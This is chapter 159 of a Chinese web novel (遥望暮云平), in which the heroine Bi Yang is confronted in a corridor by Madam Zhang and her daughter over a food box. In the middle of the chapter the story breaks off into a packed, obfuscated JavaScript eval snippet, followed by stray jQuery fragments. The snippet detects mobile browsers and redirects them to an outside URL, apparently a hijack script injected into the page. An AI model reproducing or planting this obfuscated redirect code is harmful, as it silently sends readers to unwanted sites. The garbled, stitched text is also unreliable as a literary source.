159.问话
作品:《遥望暮云平》 毕扬走在前头,裙裾拂过青砖,发出极细微的沙沙声。她的腰背挺得直,发髻间的珍珠钗在灯下泛着幽光,霞粉色的锦缎在夜色里沉淀成温润的暗红,银狐毛领簇拥着她的下颌,将那张清冷的脸衬出几分难得的柔和。
春杏和秋菊的话她并不是没有听到,只是这些零碎之事,多一口少一口的,实在是不值得花心思琢磨。
毕竟她心里并不平静。
她其实还没有想好,等章振来了,该说什么。
今日福舟来传话,说章振突然有急务出了门。这急务会不会就是进京的事?她不敢肯定,也不敢全盘押注。十夕的消息从未出过错,可万一……万一这一次章振并未受邀呢?万一他只是寻常公务,自己贸然开口,岂不打草惊蛇?可即便他真的要去,她又该以什么理由,让他带自己同行?
归宁?不,生母早已不在,她连生母葬在何处都不知道,这个借口立不住脚。拜见外祖?更荒唐了,章振曾说少时在崇州,跟京都怎么扯上关系。想进京见识?这倒不算假话,可一个刚被认回的女儿,不承欢膝下,不侍奉父亲,却急着往京城跑,于情于理都不合规矩。
子期倒是在京都,但,春闱在即,毕扬不想扯上他。
她想了许多天,竟想不出一个既不惹疑、又不失体面的理由。
也许……她根本不需要一个完美的理由。
章振既然认她,便对她有所求——或愧疚,或补偿,或她尚未看清的别的什么。她只要让他觉得,带她去京城,是顺理成章、于他有益的事。
可这几个月她是怎么做的?
不亲近,不迎合,不主动,也不顺从。春杏秋菊伺候她,她说不必;章振送来的衣料首饰,她原样收进柜中,从未穿过;章振来探她,她礼貌疏离,从不多留他片刻。
她唯一主动开口要的,是那几垄菜畦的种子。她蹲在泥地里的时候,心里想的是娘亲南溪教她种菜的模样。她不想忘记自己是谁,从哪里来。
自己见过高门千金该是什么样子吗?
见过的。可她又不想全盘模仿章贞贞,那日贞贞指着她鼻子骂山野丫头的模样,以往在外高高在上的模样,她记得清清楚楚,那不是她想成为的样子。
所以真正的高门小姐该是什么样?
她不知道。她只知道,这几个月来,她穿着不属于自己的衣裳,住在不属于自己的院落,被一群陌生人称为小姐。她在镜中看见的那个人,越来越陌生。
她正想着,前方回廊的转角处,忽然传来一阵杂沓的脚步声。
毕扬脚步一顿,抬眸望去。
廊下的灯笼被风吹得轻轻晃动,光影摇曳间,一行人正朝这边走来。为首的是两个提灯的丫鬟,后头跟着几个低眉顺眼的婆子,再往后是章夫人和章贞贞。
章夫人穿着酱色绣金线团纹的褙子,鬓边簪一支赤金点翠的凤头钗,面容端庄沉静,步伐不疾不徐。她身旁半步之遥,是一身青碧袄裙的章贞贞,面上犹带着白日里的精致妆饰,眉心贴着珍珠花钿,在灯火下莹然生辉。
毕扬停住了,那一行人也停住了。两盏灯笼隔着七八步的距离,将回廊照成明暗两界。夜风从廊下穿过,拂动毕扬鬓边的碎发,也拂动章贞贞裙角垂落的丝绦。
章夫人望着她,目光平静,看不出喜怒。章贞贞望着她,眼神复杂,似有恼意,又似有别的什么。
毕扬微微屈膝,福身行礼,声音平稳无波:“夫人。”
秋菊和春杏在她身后慌忙行礼,不敢抬头。
章夫人没有立刻叫起。她的目光从毕扬脸上缓缓移下,掠过那身霞粉锦裙,掠过腰间垂落的宫绦,最后落在她发间那支素银珍珠钗上,停了一停。
“起来吧。”
她并未多问毕扬为何这个时辰还在外头,也未问那碟雪片糕是要送去何处。她只是看了章贞贞一眼,语气平静得如同谈论今夜风凉:“贞儿,你不是有话要同她说么。”
毕扬等了几息,见章贞贞只是咬着唇瞪着自己,半天不开口,心头便有些不耐。
天色已经全黑了,夜风渐紧,廊下的灯笼晃得人眼晕,想到食盒中的糕饼和饭菜只怕是要凉了,毕扬微微欠身,语气如常:“夫人,小姐,既然没什么要紧的事,毕扬便先告退了。”
说着,她示意身后的秋菊春杏跟上,便要绕行。
“站住!”章贞贞的声音陡然拔高,带着一丝难以置信的尖锐。她往前迈了一步,青碧裙角在灯下晃动,“我和母亲在这里,你竟然敢就这么走了?”
毕扬停下脚步,回头看她。
章贞贞的脸色在灯火下明灭不定,眼睛里却仿佛燃着一簇火,恼意、不甘,还有某种说不清的委屈,都在那簇火里烧着。
毕扬忽然觉得有些好笑。
“二小姐,”她转过身,正对着章贞贞,语气平静得近乎淡漠,“方才夫人问你有何话说,我等了半晌,你并不开口。我行礼也行了,话也问了,既然你无话可说,我自然该回去用饭,天这么冷,食盒里的菜凉了可惜,等你想起来要说了,再找我不迟。”
章贞贞张了张嘴,竟被堵得说不出话来。
她没料到毕扬会是这样的反应。她以为毕扬会赔笑,会解释,会像那些初入高门的远房亲戚一样,小心翼翼地讨好她和母亲。毕竟她是外来的,抢了本不属于她的名分。
可毕扬就这么看着她,眼神清冷,不卑不亢,仿佛她章贞贞不过是个无理取闹的路人。
章夫人始终没有出声,她只是静静地站在一旁,目光在毕扬脸上停了一瞬,又移开,落在她身后春杏提着的食盒上,不知在想什么。
毕扬等了两息,想起前几日和章振的一次谈话。
那时她终于忍不住问出了那个压在心底许久的问题——既然章振是她的生父,那她的生母在何处?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231637|177032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
章振沉默了很久。
久到毕扬以为他不会回答了,他才开口,声音比平时低了几分:“她……你母亲姓罗,随我到两浙赴任不久,便病逝了。”
他说这话时,目光落在窗外某一处,神情很静,静得近乎空洞。但那静里分明藏着什么,毕扬说不清是什么,只觉得那一刻的章振,不像是运筹帷幄的两浙转运使,倒像个在暴风雨中无力回天的船夫。
她没有再追问,后来同春杏秋菊问了才知道,如今的章夫人是继室,并非原配,章贞贞和章廉均是继室所出,与那位早逝的罗氏并无关系。
这倒能解释许多事,章贞贞母女不喜欢她,也算情有可原,换了谁,平白冒出一个原配嫡女,心里都不会痛快。
只是她并不在意这个,毕竟自己本来就没打算在此地久住。等章振带她进京,等她在王府查到剑谱的下落,她便回崇州去,回毕岚和南溪身边去。谁要在这偌大的章府里,为了点鸡毛蒜皮的事吵来吵去?
她走得坦然,脚步不疾不徐。
“等等!”章贞贞的声音再次响起,这一次却少了方才的尖锐,多了几分急促,“你那食盒里装的是什么?”章贞贞的声音追上来,带着一丝不甘的质问,“你们从厨房拿了什么东西?”
果然是这些零碎的问话,毕扬脚步没有停,她想尽快回院子。
“春杏,秋菊。”身后传来章夫人的声音,不高,不疾,但像一根无形的线,轻轻一扯,便将春杏和秋菊钉在了原地。
“小姐在问话,”章夫人的语调依旧平稳,“你们不回话就走,是我教的规矩么?”
毕扬脚步顿住,她回过头,看见春杏和秋菊已经停下,两人垂着头,肩膀微微颤抖,像是被夜风吹得受不住寒。春杏手里的食盒悬在半空,不敢放下,也不敢继续提着往前走。
“回……回夫人的话,”春杏的声音磕磕绊绊,像是从牙缝里挤出来的,“只是……只是厨房备的晚食,还有……还有扬小姐亲手做的糕饼,是……是给老爷准备的……”她说到后面,声音越来越低,几乎被风吹散。
章夫人站在廊下,灯笼的光将她的影子拉得很长,酱色褙子上的金线团纹在光里微微闪烁。她的目光从春杏身上移开,掠过秋菊手里的青瓷碟,最后落在那只食盒上。
“糕饼。”她重复了一遍这两个字,语气平淡,听不出喜怒。章贞贞跟在她身侧,目光紧紧盯着那只食盒。
“最近府里厨房的开销,比往日多了不少,我打发人查问了好些下人,都查不出缘由,食盒打开,我看看。”最后这四个字,章夫人说得极轻,极淡,像是随口吩咐一句寻常小事。
但春杏的脸色瞬间白了,她下意识地看向毕扬,目光里满是惊惶和无措。
毕扬站在原地,看着这一幕。夜风从廊下穿过,吹动她霞粉色的裙角,银狐毛领簇拥着她的下颌,那支素银珍珠钗在灯下泛着幽光。

